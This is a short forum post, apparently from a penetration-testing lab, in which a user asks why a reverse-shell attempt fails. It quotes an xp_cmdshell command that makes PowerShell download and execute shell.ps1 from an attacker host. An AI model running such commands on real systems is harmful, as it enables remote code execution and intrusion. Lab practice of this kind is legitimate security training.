Under the above terms i couldnt find any threads in the forum so:
In my sql cli, after executing xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.22:4444/shell.ps1\");""
and then trying the command "whoami" in my received shell, Im getting the error "Exception calling "DownloadString" with "1" argument(s): "The server committed a protocol violation. " in my sql cli.
Another weird thing is that the listener says " Connection: Keep-alive."
I havent seen this in any of the writeups.
Im allowing port 4444 ofcourse.
Any ideas what that could be?